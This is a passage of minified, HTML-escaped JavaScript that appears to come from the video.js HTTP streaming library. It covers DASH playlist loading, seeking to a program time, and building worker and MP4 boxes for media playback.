provided&quot;});if(!playlist.endList&amp;&amp;!tech.hasStarted_)return callback({message:&quot;player must be playing a live stream to start buffering&quot;});if(!function(playlist){if(!playlist.segments||0===playlist.segments.length)return!1;for(var i=0;i&lt;playlist.segments.length;i++)if(!playlist.segments[i].dateTimeObject)return!1;return!0}(playlist))return callback({message:&quot;programDateTime tags must be provided in the manifest &quot;+playlist.resolvedUri});var matchedSegment=function(programTime,playlist){var dateTimeObject;try{dateTimeObject=new Date(programTime)}catch(e){return null}if(!playlist||!playlist.segments||0===playlist.segments.length)return null;var segment=playlist.segments[0];if(dateTimeObject&lt;segment.dateTimeObject)return null;for(var i=0;i&lt;playlist.segments.length-1&amp;&amp;(segment=playlist.segments[i],!(dateTimeObject&lt;playlist.segments[i+1].dateTimeObject));i++);var videoTimingInfo,lastSegment=playlist.segments[playlist.segments.length-1],lastSegmentStart=lastSegment.dateTimeObject,lastSegmentDuration=lastSegment.videoTimingInfo?(videoTimingInfo=lastSegment.videoTimingInfo).transmuxedPresentationEnd-videoTimingInfo.transmuxedPresentationStart-videoTimingInfo.transmuxerPrependedSeconds:lastSegment.duration+.25*lastSegment.duration;return dateTimeObject&gt;new Date(lastSegmentStart.getTime()+1e3*lastSegmentDuration)?null:(dateTimeObject&gt;lastSegmentStart&amp;&amp;(segment=lastSegment),{segment:segment,estimatedStart:segment.videoTimingInfo?segment.videoTimingInfo.transmuxedPresentationStart:Playlist.duration(playlist,playlist.mediaSequence+playlist.segments.indexOf(segment)),type:segment.videoTimingInfo?&quot;accurate&quot;:&quot;estimate&quot;})}(programTime,playlist);if(!matchedSegment)return callback({message:programTime+&quot; was not found in the stream&quot;});var segment=matchedSegment.segment,mediaOffset=function(comparisonTimeStamp,programTime){var segmentDateTime,programDateTime;try{segmentDateTime=new Date(comparisonTimeStamp),programDateTime=new Date(programTime)}catch(e){}var segmentTimeEpoch=segmentDateTime.getTime();return(programDateTime.getTime()-segmentTimeEpoch)/1e3}(segment.dateTimeObject,programTime);if(&quot;estimate&quot;===matchedSegment.type)return 0===retryCount?callback({message:programTime+&quot; is not buffered yet. Try again&quot;}):(seekTo(matchedSegment.estimatedStart+mediaOffset),void tech.one(&quot;seeked&quot;,(function(){seekToProgramTime({programTime:programTime,playlist:playlist,retryCount:retryCount-1,seekTo:seekTo,pauseAfterSeek:pauseAfterSeek,tech:tech,callback:callback})})));var seekToTime=segment.start+mediaOffset;tech.one(&quot;seeked&quot;,(function(){return callback(null,tech.currentTime())})),pauseAfterSeek&amp;&amp;tech.pause(),seekTo(seekToTime)},callbackOnCompleted=function(request,cb){if(4===request.readyState)return cb()},containerRequest=function(uri,xhr,cb){var id3Offset,bytes=[],finished=!1,endRequestAndCallback=function(err,req,type,_bytes){return req.abort(),finished=!0,cb(err,req,type,_bytes)},progressListener=function(error,request){if(!finished){if(error)return endRequestAndCallback(error,request,&quot;&quot;,bytes);var newPart=request.responseText.substring(bytes&amp;&amp;bytes.byteLength||0,request.responseText.length);if(bytes=function(){for(var _len=arguments.length,buffers=new Array(_len),_key=0;_key&lt;_len;_key++)buffers[_key]=arguments[_key];if((buffers=buffers.filter((function(b){return b&amp;&amp;(b.byteLength||b.length)&amp;&amp;&quot;string&quot;!=typeof b}))).length&lt;=1)return toUint8(buffers[0]);var totalLen=buffers.reduce((function(total,buf,i){return total+(buf.byteLength||buf.length)}),0),tempBuffer=new Uint8Array(totalLen),offset=0;return buffers.forEach((function(buf){buf=toUint8(buf),tempBuffer.set(buf,offset),offset+=buf.byteLength})),tempBuffer}(bytes,stringToBytes(newPart,!0)),id3Offset=id3Offset||getId3Offset(bytes),bytes.length&lt;10||id3Offset&amp;&amp;bytes.length&lt;id3Offset+2)return callbackOnCompleted(request,(function(){return endRequestAndCallback(error,request,&quot;&quot;,bytes)}));var type=detectContainerForBytes(bytes);return&quot;ts&quot;===type&amp;&amp;bytes.length&lt;188||!type&amp;&amp;bytes.length&lt;376?callbackOnCompleted(request,(function(){return endRequestAndCallback(error,request,&quot;&quot;,bytes)})):endRequestAndCallback(null,request,type,bytes)}},options={uri:uri,beforeSend:function(request){request.overrideMimeType(&quot;text/plain; charset=x-user-defined&quot;),request.addEventListener(&quot;progress&quot;,(function(_ref){return _ref.total,_ref.loaded,callbackWrapper(request,null,{statusCode:request.status},progressListener)}))}},request=xhr(options,(function(error,response){return callbackWrapper(request,error,response,progressListener)}));return request},EventTarget=videojs.EventTarget,mergeOptions=videojs.mergeOptions,dashPlaylistUnchanged=function(a,b){if(!isPlaylistUnchanged(a,b))return!1;if(a.sidx&amp;&amp;b.sidx&amp;&amp;(a.sidx.offset!==b.sidx.offset||a.sidx.length!==b.sidx.length))return!1;if(!a.sidx&amp;&amp;b.sidx||a.sidx&amp;&amp;!b.sidx)return!1;if(a.segments&amp;&amp;!b.segments||!a.segments&amp;&amp;b.segments)return!1;if(!a.segments&amp;&amp;!b.segments)return!0;for(var i=0;i&lt;a.segments.length;i++){var aSegment=a.segments[i],bSegment=b.segments[i];if(aSegment.uri!==bSegment.uri)return!1;if(aSegment.byterange||bSegment.byterange){var aByterange=aSegment.byterange,bByterange=bSegment.byterange;if(aByterange&amp;&amp;!bByterange||!aByterange&amp;&amp;bByterange)return!1;if(aByterange.offset!==bByterange.offset||aByterange.length!==bByterange.length)return!1}}return!0},compareSidxEntry=function(playlists,oldSidxMapping){var a,b,newSidxMapping={};for(var id in playlists){var currentSidxInfo=playlists[id].sidx;if(currentSidxInfo){var key=generateSidxKey(currentSidxInfo);if(!oldSidxMapping[key])break;var savedSidxInfo=oldSidxMapping[key].sidxInfo;a=savedSidxInfo,b=currentSidxInfo,(Boolean(!a.map&amp;&amp;!b.map)||Boolean(a.map&amp;&amp;b.map&amp;&amp;a.map.byterange.offset===b.map.byterange.offset&amp;&amp;a.map.byterange.length===b.map.byterange.length))&amp;&amp;a.uri===b.uri&amp;&amp;a.byterange.offset===b.byterange.offset&amp;&amp;a.byterange.length===b.byterange.length&amp;&amp;(newSidxMapping[key]=oldSidxMapping[key])}}return newSidxMapping},DashPlaylistLoader=function(_EventTarget){function DashPlaylistLoader(srcUrlOrPlaylist,vhs,options,masterPlaylistLoader){var _this;void 0===options&amp;&amp;(options={}),(_this=_EventTarget.call(this)||this).masterPlaylistLoader_=masterPlaylistLoader||assertThisInitialized(_this),masterPlaylistLoader||(_this.isMaster_=!0);var _options=options,_options$withCredenti=_options.withCredentials,withCredentials=void 0!==_options$withCredenti&amp;&amp;_options$withCredenti,_options$handleManife=_options.handleManifestRedirects,handleManifestRedirects=void 0!==_options$handleManife&amp;&amp;_options$handleManife;if(_this.vhs_=vhs,_this.withCredentials=withCredentials,_this.handleManifestRedirects=handleManifestRedirects,!srcUrlOrPlaylist)throw new Error(&quot;A non-empty playlist URL or object is required&quot;);return _this.on(&quot;minimumUpdatePeriod&quot;,(function(){_this.refreshXml_()})),_this.on(&quot;mediaupdatetimeout&quot;,(function(){_this.refreshMedia_(_this.media().id)})),_this.state=&quot;HAVE_NOTHING&quot;,_this.loadedPlaylists_={},_this.logger_=logger(&quot;DashPlaylistLoader&quot;),_this.isMaster_?(_this.masterPlaylistLoader_.srcUrl=srcUrlOrPlaylist,_this.masterPlaylistLoader_.sidxMapping_={}):_this.childPlaylist_=srcUrlOrPlaylist,_this}inheritsLoose(DashPlaylistLoader,_EventTarget);var _proto=DashPlaylistLoader.prototype;return _proto.requestErrored_=function(err,request,startingState){return!this.request||(this.request=null,err?(this.error=&quot;object&quot;!=typeof err||err instanceof Error?{status:request.status,message:&quot;DASH request error at URL: &quot;+request.uri,response:request.response,code:2}:err,startingState&amp;&amp;(this.state=startingState),this.trigger(&quot;error&quot;),!0):void 0)},_proto.addSidxSegments_=function(playlist,startingState,cb){var _this2=this,sidxKey=playlist.sidx&amp;&amp;generateSidxKey(playlist.sidx);if(playlist.sidx&amp;&amp;sidxKey&amp;&amp;!this.masterPlaylistLoader_.sidxMapping_[sidxKey]){var uri=resolveManifestRedirect(this.handleManifestRedirects,playlist.sidx.resolvedUri),fin=function(err,request){if(!_this2.requestErrored_(err,request,startingState)){var sidx,sidxMapping=_this2.masterPlaylistLoader_.sidxMapping_;try{sidx=parseSidx_1(toUint8(request.response).subarray(8))}catch(e){return void _this2.requestErrored_(e,request,startingState)}return sidxMapping[sidxKey]={sidxInfo:playlist.sidx,sidx:sidx},addSidxSegmentsToPlaylist(playlist,sidx,playlist.sidx.resolvedUri),cb(!0)}};this.request=containerRequest(uri,this.vhs_.xhr,(function(err,request,container,bytes){if(err)return fin(err,request);if(!container||&quot;mp4&quot;!==container)return fin({status:request.status,message:&quot;Unsupported &quot;+(container||&quot;unknown&quot;)+&quot; container type for sidx segment at URL: &quot;+uri,response:&quot;&quot;,playlist:playlist,internal:!0,blacklistDuration:1/0,code:2},request);var _playlist$sidx$bytera=playlist.sidx.byterange,offset=_playlist$sidx$bytera.offset,length=_playlist$sidx$bytera.length;if(bytes.length&gt;=length+offset)return fin(err,{response:bytes.subarray(offset,offset+length),status:request.status,uri:request.uri});_this2.request=_this2.vhs_.xhr({uri:uri,responseType:&quot;arraybuffer&quot;,headers:segmentXhrHeaders({byterange:playlist.sidx.byterange})},fin)}))}else this.mediaRequest_=window.setTimeout((function(){return cb(!1)}),0)},_proto.dispose=function(){this.trigger(&quot;dispose&quot;),this.stopRequest(),this.loadedPlaylists_={},window.clearTimeout(this.minimumUpdatePeriodTimeout_),window.clearTimeout(this.mediaRequest_),window.clearTimeout(this.mediaUpdateTimeout),this.mediaUpdateTimeout=null,this.mediaRequest_=null,this.minimumUpdatePeriodTimeout_=null,this.masterPlaylistLoader_.createMupOnMedia_&amp;&amp;(this.off(&quot;loadedmetadata&quot;,this.masterPlaylistLoader_.createMupOnMedia_),this.masterPlaylistLoader_.createMupOnMedia_=null),this.off()},_proto.hasPendingRequest=function(){return this.request||this.mediaRequest_},_proto.stopRequest=function(){if(this.request){var oldRequest=this.request;this.request=null,oldRequest.onreadystatechange=null,oldRequest.abort()}},_proto.media=function(playlist){var _this3=this;if(!playlist)return this.media_;if(&quot;HAVE_NOTHING&quot;===this.state)throw new Error(&quot;Cannot switch media playlist from &quot;+this.state);var startingState=this.state;if(&quot;string&quot;==typeof playlist){if(!this.masterPlaylistLoader_.master.playlists[playlist])throw new Error(&quot;Unknown playlist URI: &quot;+playlist);playlist=this.masterPlaylistLoader_.master.playlists[playlist]}var mediaChange=!this.media_||playlist.id!==this.media_.id;if(mediaChange&amp;&amp;this.loadedPlaylists_[playlist.id]&amp;&amp;this.loadedPlaylists_[playlist.id].endList)return this.state=&quot;HAVE_METADATA&quot;,this.media_=playlist,void(mediaChange&amp;&amp;(this.trigger(&quot;mediachanging&quot;),this.trigger(&quot;mediachange&quot;)));mediaChange&amp;&amp;(this.media_&amp;&amp;this.trigger(&quot;mediachanging&quot;),this.addSidxSegments_(playlist,startingState,(function(sidxChanged){_this3.haveMetadata({startingState:startingState,playlist:playlist})})))},_proto.haveMetadata=function(_ref2){var startingState=_ref2.startingState,playlist=_ref2.playlist;this.state=&quot;HAVE_METADATA&quot;,this.loadedPlaylists_[playlist.id]=playlist,this.mediaRequest_=null,this.refreshMedia_(playlist.id),&quot;HAVE_MASTER&quot;===startingState?this.trigger(&quot;loadedmetadata&quot;):this.trigger(&quot;mediachange&quot;)},_proto.pause=function(){this.masterPlaylistLoader_.createMupOnMedia_&amp;&amp;(this.off(&quot;loadedmetadata&quot;,this.masterPlaylistLoader_.createMupOnMedia_),this.masterPlaylistLoader_.createMupOnMedia_=null),this.stopRequest(),window.clearTimeout(this.mediaUpdateTimeout),this.mediaUpdateTimeout=null,this.isMaster_&amp;&amp;(window.clearTimeout(this.masterPlaylistLoader_.minimumUpdatePeriodTimeout_),this.masterPlaylistLoader_.minimumUpdatePeriodTimeout_=null),&quot;HAVE_NOTHING&quot;===this.state&amp;&amp;(this.started=!1)},_proto.load=function(isFinalRendition){var _this4=this;window.clearTimeout(this.mediaUpdateTimeout),this.mediaUpdateTimeout=null;var media=this.media();if(isFinalRendition){var delay=media?media.targetDuration/2*1e3:5e3;this.mediaUpdateTimeout=window.setTimeout((function(){return _this4.load()}),delay)}else this.started?media&amp;&amp;!media.endList?(this.isMaster_&amp;&amp;!this.minimumUpdatePeriodTimeout_&amp;&amp;(this.trigger(&quot;minimumUpdatePeriod&quot;),this.updateMinimumUpdatePeriodTimeout_()),this.trigger(&quot;mediaupdatetimeout&quot;)):this.trigger(&quot;loadedplaylist&quot;):this.start()},_proto.start=function(){var _this5=this;this.started=!0,this.isMaster_?this.requestMaster_((function(req,masterChanged){_this5.haveMaster_(),_this5.hasPendingRequest()||_this5.media_||_this5.media(_this5.masterPlaylistLoader_.master.playlists[0])})):this.mediaRequest_=window.setTimeout((function(){return _this5.haveMaster_()}),0)},_proto.requestMaster_=function(cb){var _this6=this;this.request=this.vhs_.xhr({uri:this.masterPlaylistLoader_.srcUrl,withCredentials:this.withCredentials},(function(error,req){if(!_this6.requestErrored_(error,req)){var masterChanged=req.responseText!==_this6.masterPlaylistLoader_.masterXml_;return _this6.masterPlaylistLoader_.masterXml_=req.responseText,req.responseHeaders&amp;&amp;req.responseHeaders.date?_this6.masterLoaded_=Date.parse(req.responseHeaders.date):_this6.masterLoaded_=Date.now(),_this6.masterPlaylistLoader_.srcUrl=resolveManifestRedirect(_this6.handleManifestRedirects,_this6.masterPlaylistLoader_.srcUrl,req),masterChanged?(_this6.handleMaster_(),void _this6.syncClientServerClock_((function(){return cb(req,masterChanged)}))):cb(req,masterChanged)}&quot;HAVE_NOTHING&quot;===_this6.state&amp;&amp;(_this6.started=!1)}))},_proto.syncClientServerClock_=function(done){var _this7=this,utcTiming=parseUTCTiming(this.masterPlaylistLoader_.masterXml_);return null===utcTiming?(this.masterPlaylistLoader_.clientOffset_=this.masterLoaded_-Date.now(),done()):&quot;DIRECT&quot;===utcTiming.method?(this.masterPlaylistLoader_.clientOffset_=utcTiming.value-Date.now(),done()):void(this.request=this.vhs_.xhr({uri:resolveUrl(this.masterPlaylistLoader_.srcUrl,utcTiming.value),method:utcTiming.method,withCredentials:this.withCredentials},(function(error,req){if(_this7.request){if(error)return _this7.masterPlaylistLoader_.clientOffset_=_this7.masterLoaded_-Date.now(),done();var serverTime;serverTime=&quot;HEAD&quot;===utcTiming.method?req.responseHeaders&amp;&amp;req.responseHeaders.date?Date.parse(req.responseHeaders.date):_this7.masterLoaded_:Date.parse(req.responseText),_this7.masterPlaylistLoader_.clientOffset_=serverTime-Date.now(),done()}})))},_proto.haveMaster_=function(){this.state=&quot;HAVE_MASTER&quot;,this.isMaster_?this.trigger(&quot;loadedplaylist&quot;):this.media_||this.media(this.childPlaylist_)},_proto.handleMaster_=function(){this.mediaRequest_=null;var _ref,masterXml,srcUrl,clientOffset,sidxMapping,master,newMaster=(_ref={masterXml:this.masterPlaylistLoader_.masterXml_,srcUrl:this.masterPlaylistLoader_.srcUrl,clientOffset:this.masterPlaylistLoader_.clientOffset_,sidxMapping:this.masterPlaylistLoader_.sidxMapping_},masterXml=_ref.masterXml,srcUrl=_ref.srcUrl,clientOffset=_ref.clientOffset,sidxMapping=_ref.sidxMapping,master=parse(masterXml,{manifestUri:srcUrl,clientOffset:clientOffset,sidxMapping:sidxMapping}),addPropertiesToMaster(master,srcUrl),master),oldMaster=this.masterPlaylistLoader_.master;oldMaster&amp;&amp;(newMaster=function(oldMaster,newMaster,sidxMapping){for(var noChanges=!0,update=mergeOptions(oldMaster,{duration:newMaster.duration,minimumUpdatePeriod:newMaster.minimumUpdatePeriod}),i=0;i&lt;newMaster.playlists.length;i++){var playlist=newMaster.playlists[i];if(playlist.sidx){var sidxKey=generateSidxKey(playlist.sidx);sidxMapping&amp;&amp;sidxMapping[sidxKey]&amp;&amp;sidxMapping[sidxKey].sidx&amp;&amp;addSidxSegmentsToPlaylist(playlist,sidxMapping[sidxKey].sidx,playlist.sidx.resolvedUri)}var playlistUpdate=updateMaster$1(update,playlist,dashPlaylistUnchanged);playlistUpdate&amp;&amp;(update=playlistUpdate,noChanges=!1)}return forEachMediaGroup(newMaster,(function(properties,type,group,label){if(properties.playlists&amp;&amp;properties.playlists.length){var id=properties.playlists[0].id,_playlistUpdate=updateMaster$1(update,properties.playlists[0],dashPlaylistUnchanged);_playlistUpdate&amp;&amp;((update=_playlistUpdate).mediaGroups[type][group][label].playlists[0]=update.playlists[id],noChanges=!1)}})),newMaster.minimumUpdatePeriod!==oldMaster.minimumUpdatePeriod&amp;&amp;(noChanges=!1),noChanges?null:update}(oldMaster,newMaster,this.masterPlaylistLoader_.sidxMapping_)),this.masterPlaylistLoader_.master=newMaster||oldMaster;var location=this.masterPlaylistLoader_.master.locations&amp;&amp;this.masterPlaylistLoader_.master.locations[0];return location&amp;&amp;location!==this.masterPlaylistLoader_.srcUrl&amp;&amp;(this.masterPlaylistLoader_.srcUrl=location),(!oldMaster||newMaster&amp;&amp;newMaster.minimumUpdatePeriod!==oldMaster.minimumUpdatePeriod)&amp;&amp;this.updateMinimumUpdatePeriodTimeout_(),Boolean(newMaster)},_proto.updateMinimumUpdatePeriodTimeout_=function(){var mpl=this.masterPlaylistLoader_;mpl.createMupOnMedia_&amp;&amp;(mpl.off(&quot;loadedmetadata&quot;,mpl.createMupOnMedia_),mpl.createMupOnMedia_=null),mpl.minimumUpdatePeriodTimeout_&amp;&amp;(window.clearTimeout(mpl.minimumUpdatePeriodTimeout_),mpl.minimumUpdatePeriodTimeout_=null);var mup=mpl.master&amp;&amp;mpl.master.minimumUpdatePeriod;0===mup&amp;&amp;(mpl.media()?mup=1e3*mpl.media().targetDuration:(mpl.createMupOnMedia_=mpl.updateMinimumUpdatePeriodTimeout_,mpl.one(&quot;loadedmetadata&quot;,mpl.createMupOnMedia_))),&quot;number&quot;!=typeof mup||mup&lt;=0?mup&lt;0&amp;&amp;this.logger_(&quot;found invalid minimumUpdatePeriod of &quot;+mup+&quot;, not setting a timeout&quot;):this.createMUPTimeout_(mup)},_proto.createMUPTimeout_=function(mup){var mpl=this.masterPlaylistLoader_;mpl.minimumUpdatePeriodTimeout_=window.setTimeout((function(){mpl.minimumUpdatePeriodTimeout_=null,mpl.trigger(&quot;minimumUpdatePeriod&quot;),mpl.createMUPTimeout_(mup)}),mup)},_proto.refreshXml_=function(){var _this8=this;this.requestMaster_((function(req,masterChanged){var master,oldSidxMapping,mediaGroupSidx;masterChanged&amp;&amp;(_this8.media_&amp;&amp;(_this8.media_=_this8.masterPlaylistLoader_.master.playlists[_this8.media_.id]),_this8.masterPlaylistLoader_.sidxMapping_=(master=_this8.masterPlaylistLoader_.master,oldSidxMapping=_this8.masterPlaylistLoader_.sidxMapping_,mediaGroupSidx=compareSidxEntry(master.playlists,oldSidxMapping),forEachMediaGroup(master,(function(properties,mediaType,groupKey,labelKey){if(properties.playlists&amp;&amp;properties.playlists.length){var playlists=properties.playlists;mediaGroupSidx=mergeOptions(mediaGroupSidx,compareSidxEntry(playlists,oldSidxMapping))}})),mediaGroupSidx),_this8.addSidxSegments_(_this8.media(),_this8.state,(function(sidxChanged){_this8.refreshMedia_(_this8.media().id)})))}))},_proto.refreshMedia_=function(mediaID){var _this9=this;if(!mediaID)throw new Error(&quot;refreshMedia_ must take a media id&quot;);this.media_&amp;&amp;this.isMaster_&amp;&amp;this.handleMaster_();var playlists=this.masterPlaylistLoader_.master.playlists,mediaChanged=!this.media_||this.media_!==playlists[mediaID];if(mediaChanged?this.media_=playlists[mediaID]:this.trigger(&quot;playlistunchanged&quot;),!this.mediaUpdateTimeout){!function createMediaUpdateTimeout(){_this9.media().endList||(_this9.mediaUpdateTimeout=window.setTimeout((function(){_this9.trigger(&quot;mediaupdatetimeout&quot;),createMediaUpdateTimeout()}),refreshDelay(_this9.media(),Boolean(mediaChanged))))}()}this.trigger(&quot;loadedplaylist&quot;)},DashPlaylistLoader}(EventTarget),Config={GOAL_BUFFER_LENGTH:30,MAX_GOAL_BUFFER_LENGTH:60,BACK_BUFFER_LENGTH:30,GOAL_BUFFER_LENGTH_RATE:1,INITIAL_BANDWIDTH:4194304,BANDWIDTH_VARIANCE:1.2,BUFFER_LOW_WATER_LINE:0,MAX_BUFFER_LOW_WATER_LINE:30,EXPERIMENTAL_MAX_BUFFER_LOW_WATER_LINE:16,BUFFER_LOW_WATER_LINE_RATE:1,BUFFER_HIGH_WATER_LINE:30},browserWorkerPolyFill=function(workerObj){return workerObj.on=workerObj.addEventListener,workerObj.off=workerObj.removeEventListener,workerObj},factory=function(code){return function(){var objectUrl=function(str){try{return URL.createObjectURL(new Blob([str],{type:&quot;application/javascript&quot;}))}catch(e){var blob=new BlobBuilder;return blob.append(str),URL.createObjectURL(blob.getBlob())}}(code),worker=browserWorkerPolyFill(new Worker(objectUrl));worker.objURL=objectUrl;var terminate=worker.terminate;return worker.on=worker.addEventListener,worker.off=worker.removeEventListener,worker.terminate=function(){return URL.revokeObjectURL(objectUrl),terminate.call(this)},worker}},transform=function(code){return&quot;var browserWorkerPolyFill = &quot;+browserWorkerPolyFill.toString()+&quot;;\nbrowserWorkerPolyFill(self);\n&quot;+code},getWorkerString=function(fn){return fn.toString().replace(/^function.+?{/,&quot;&quot;).slice(0,-1)},workerCode$1=transform(getWorkerString((function(){var Stream=function(){this.init=function(){var listeners={};this.on=function(type,listener){listeners[type]||(listeners[type]=[]),listeners[type]=listeners[type].concat(listener)},this.off=function(type,listener){var index;return!!listeners[type]&amp;&amp;(index=listeners[type].indexOf(listener),listeners[type]=listeners[type].slice(),listeners[type].splice(index,1),index&gt;-1)},this.trigger=function(type){var callbacks,i,length,args;if(callbacks=listeners[type])if(2===arguments.length)for(length=callbacks.length,i=0;i&lt;length;++i)callbacks[i].call(this,arguments[1]);else{for(args=[],i=arguments.length,i=1;i&lt;arguments.length;++i)args.push(arguments[i]);for(length=callbacks.length,i=0;i&lt;length;++i)callbacks[i].apply(this,args)}},this.dispose=function(){listeners={}}}};Stream.prototype.pipe=function(destination){return this.on(&quot;data&quot;,(function(data){destination.push(data)})),this.on(&quot;done&quot;,(function(flushSource){destination.flush(flushSource)})),this.on(&quot;partialdone&quot;,(function(flushSource){destination.partialFlush(flushSource)})),this.on(&quot;endedtimeline&quot;,(function(flushSource){destination.endTimeline(flushSource)})),this.on(&quot;reset&quot;,(function(flushSource){destination.reset(flushSource)})),destination},Stream.prototype.push=function(data){this.trigger(&quot;data&quot;,data)},Stream.prototype.flush=function(flushSource){this.trigger(&quot;done&quot;,flushSource)},Stream.prototype.partialFlush=function(flushSource){this.trigger(&quot;partialdone&quot;,flushSource)},Stream.prototype.endTimeline=function(flushSource){this.trigger(&quot;endedtimeline&quot;,flushSource)},Stream.prototype.reset=function(flushSource){this.trigger(&quot;reset&quot;,flushSource)};var box,dinf,esds,ftyp,mfhd,minf,moof,moov,mvex,mvhd,trak,tkhd,mdia,mdhd,hdlr,sdtp,stbl,stsd,traf,trex,trun$1,types,MAJOR_BRAND,MINOR_VERSION,AVC1_BRAND,VIDEO_HDLR,AUDIO_HDLR,HDLR_TYPES,VMHD,SMHD,DREF,STCO,STSC,STSZ,STTS,videoSample,audioSample,audioTrun,videoTrun,trunHeader,stream=Stream,UINT32_MAX=Math.pow(2,32)-1;!function(){var i;if(types={avc1:[],avcC:[],btrt:[],dinf:[],dref:[],esds:[],ftyp:[],hdlr:[],mdat:[],mdhd:[],mdia:[],mfhd:[],minf:[],moof:[],moov:[],mp4a:[],mvex:[],mvhd:[],pasp:[],sdtp:[],smhd:[],stbl:[],stco:[],stsc:[],stsd:[],stsz:[],stts:[],styp:[],tfdt:[],tfhd:[],traf:[],trak:[],trun:[],trex:[],tkhd:[],vmhd:[]},&quot;undefined&quot;!=typeof Uint8Array){for(i in types)types.hasOwnProperty(i)&amp;&amp;(types[i]=[i.charCodeAt(0),i.charCodeAt(1),i.charCodeAt(2),i.charCodeAt(3)]);MAJOR_BRAND=new Uint8Array([&quot;i&quot;.charCodeAt(0),&quot;s&quot;.charCodeAt(0),&quot;o&quot;.charCodeAt(0),&quot;m&quot;.charCodeAt(0)]),AVC1_BRAND=new Uint8Array([&quot;a&quot;.charCodeAt(0),&quot;v&quot;.charCodeAt(0),&quot;c&quot;.charCodeAt(0),&quot;1&quot;.charCodeAt(0)]),MINOR_VERSION=new Uint8Array([0,0,0,1]),VIDEO_HDLR=new Uint8Array([0,0,0,0,0,0,0,0,118,105,100,101,0,0,0,0,0,0,0,0,0,0,0,0,86,105,100,101,111,72,97,110,100,108,101,114,0]),AUDIO_HDLR=new Uint8Array([0,0,0,0,0,0,0,0,115,111,117,110,0,0,0,0,0,0,0,0,0,0,0,0,83,111,117,110,100,72,97,110,100,108,101,114,0]),HDLR_TYPES={video:VIDEO_HDLR,audio:AUDIO_HDLR},DREF=new Uint8Array([0,0,0,0,0,0,0,1,0,0,0,12,117,114,108,32,0,0,0,1]),SMHD=new Uint8Array([0,0,0,0,0,0,0,0]),STCO=new Uint8Array([0,0,0,0,0,0,0,0]),STSC=STCO,STSZ=new Uint8Array([0,0,0,0,0,0,0,0,0,0,0,0]),STTS=STCO,VMHD=new Uint8Array([0,0,0,1,0,0,0,0,0,0,0,0])}}(),box=function(type){var i,result,payload=[],size=0;for(i=1;i&lt;arguments.length;i++)payload.push(arguments[i]);for(i=payload.length;i--;)size+=payload[i].byteLength;for(result=new Uint8Array(size+8),new DataView(result.buffer,result.byteOffset,result.byteLength).setUint32(0,result.byteLength),result.set(type,4),i=0,size=8;i&lt;payload.length;i++)result.set(payload[i],size),size+=payload[i].byteLength;return result},dinf=function(){return box(types.dinf,box(types.dref,DREF))},esds=function(track){return box(types.esds,new Uint8Array([0,0,0,0,3,25,0,0,0,4,17,64,21,0,6,0,0,0,218,192,0,0,218,192,5,2,track.audioobjecttype&lt;&lt;3|track.samplingfrequencyindex&gt;&gt;&gt;1,track.samplingfrequencyindex&lt;&lt;7|track.channelcount&lt;&lt;3,6,1,2]))},hdlr=function(type){return box(types.hdlr,HDLR_TYPES[type])},mdhd=function(track){var result=new Uint8Array([0,0,0,0,0,0,0,2,0,0,0,3,0,1,95,144,track.duration&gt;&gt;&gt;24&amp;255,track.duration&gt;&gt;&gt;16&amp;255,track.duration&gt;&gt;&gt;8&amp;255,255&amp;track.duration,85,196,0,0]);return track.samplerate&amp;&amp;(result[12]=track.samplerate&gt;&gt;&gt;24&amp;255,result[13]=track.samplerate&gt;&gt;&gt;16&amp;255,result[14]=track.samplerate&gt;&gt;&gt;8&amp;255,result[15]=255&amp;track.samplerate),box(types.mdhd,result)},mdia=function(track){return box(types.mdia,mdhd(track),hdlr(track.type),minf(track))},mfhd=function(sequenceNumber){return box(types.mfhd,new Uint8Array([0,0,0,0,(4278190080&amp;sequenceNumber)&gt;&gt;24,(16711680&amp;sequenceNumber)&gt;&gt;16,(65280&amp;sequenceNumber)&gt;&gt;8,255&amp;sequenceNumber]))},minf=function(track){return box(types.minf,&quot;video&quot;===track.type?box(types.vmhd,VMHD):box(types.smhd,SMHD),dinf(),stbl(track))},moof=function(sequenceNumber,tracks){for(var trackFragments=[],i=tracks.length;i--;)trackFragments[i]=traf(tracks[i]);return box.apply(null,[types.moof,mfhd(sequenceNumber)].concat(trackFragments))},moov=function(tracks){for(var i=tracks.length,boxes=[];i--;)boxes[i]=trak(tracks[i]);return box.apply(null,[types.moov,mvhd(4294967295)].concat(boxes).concat(mvex(tracks)))},mvex=function(tracks){for(var i=tracks.length,boxes=[];i--;)boxes[i]=trex(tracks[i]);return box.apply(null,[types.mvex].concat(boxes))},mvhd=function(duration){var bytes=new Uint8Array([0,0,0,0,0,0,0,1,0,0,0,2,0,1,95,144,(4278190080&amp;duration)&gt;&gt;24,(16711680&amp;duration)&gt;&gt;16,(65280&amp;duration)&gt;&gt;8,255&amp;duration,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,255,255,255,255]);return box(types.mvhd,bytes)},sdtp=function(track){var flags,i,samples=track.samples||[],bytes=new Uint8Array(4+samples.length);for(i=0;i&lt;samples.length;i++)flags=samples[i].flags,bytes[i+4]=flags.dependsOn&lt;&lt;4|flags.isDependedOn&lt;&lt;2|flags.hasRedundancy;return box(types.sdtp,bytes)},stbl=function(track){return box(types.stbl,stsd(track),box(types.stts,STTS),box(types.stsc,STSC),box(types.stsz,STSZ),box(types.stco,STCO))},stsd=function(track){return box(types.stsd,new Uint8Array([0,0,0,0,0,0,0,1]),&quot;video&quot;===track.type?videoSample(track):audioSample(track))},videoSample=function(track){var i,avc1Box,sps=track.sps||[],pps=track.pps||[],sequenceParameterSets=[],pictureParameterSets=[];for(i=0;i&lt;sps.length;i++)sequenceParameterSets.push((65280&amp;sps[i].byteLength)&gt;&gt;&gt;8),sequenceParameterSets.push(255&amp;sps[i].byteLength),sequenceParameterSets=sequenceParameterSets.concat(Array.prototype.slice.call(sps[i]));for(i=0;i&lt;pps.length;i++)pictureParameterSets.push((65280&amp;pps[i].byteLength)&gt;&gt;&gt;8),pictureParameterSets.push(255&amp;pps[i].byteLength),pictureParameterSets=pictureParameterSets.concat(Array.prototype.slice.call(pps[i]));if(avc1Box=[types.avc1,new 